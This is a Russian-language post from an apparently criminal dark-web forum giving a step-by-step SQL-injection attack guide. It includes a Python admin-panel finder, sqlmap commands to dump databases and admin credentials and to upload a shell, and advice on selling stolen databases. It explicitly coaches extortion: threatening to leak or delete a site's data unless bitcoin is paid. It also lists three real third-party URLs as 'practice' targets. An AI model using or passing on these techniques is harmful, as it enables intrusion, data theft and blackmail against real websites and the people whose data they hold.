[Статья] Расшариваем SQL уязвимости

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

VladikSk

Пользователь

VladikSk

Пользователь
1 Июл 2016
121
76
Всем доброго времени суток!
Допустим мы имеем URL pentagon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если неповезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.

Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:
#!/usr/bin/python
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,singin.php,gate.php,adminer.php"
print "~"*20
print "Admin Finder By AimZ"
print " "*20 + "~"*20
print "Special for Runion users"
print "~"*20

def load(url):
resp = requests.get(url)
text = resp.text.lower()
if resp.status_code == 200 and "page not found" not in text:
return url

def find(url):
global admins
found = []
if "htt" in url and "/" in url and "." in url:
url = str(url+" ").replace("/ ", "")
for link in admins.split(","):
loaded = load(url + "/" + link)
if loaded != None:
found.append(loaded)
return found
else:
print "Incorrect url!"

url = raw_input("Enter url: ")
print "#"*20
for i in find(url):
print "Found: " + i


Если админка найдена, смотрим бд сайта

Код:
sqlmap -u ... --current-db
Затем смотрим таблицы бд:

Код:
sqlmap -u ... -D database_name --tables
(заменяем database_name на имя бд)
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:

Код:
sqlmap -u ... -D database_name -T users,admin,members,etc. --columns
Если есть поля username и password,
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.

Код:
sqlmap -u ... -D database_name -T admin -C username, password,is_admin --dump --threads 3
В таблице смотрим на поле с паролем.

!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.


2. Заливка шелла
Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов.

Код:
sqlmap -u ... --file-write=test.txt --file-dest=/tmp/file
На вопрос Do you want to confirm that the source and destination files are same? отвечаем Y. Если пишет files are the same, бинго! У нас есть права на запись. Далее просто ишем путь до сайта и льем полезный код. Прав на запись в папку сайта может не быть.
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.

3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.

Код:
sqlmap -u ... --threads 10 -D db --dump -o
4. Шантаж
Тут не помешают навыки соц. инжинерии.
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.

5. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.

Для практики:
mormonlit.lib.byu.edu/lit_publisher.php?p_id=10,p_id
beckerpipes.com/en/notizia.php?p_id=34,p_id
theatrotechnis.com/show.php?id=38,id

Автор: AimZ
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя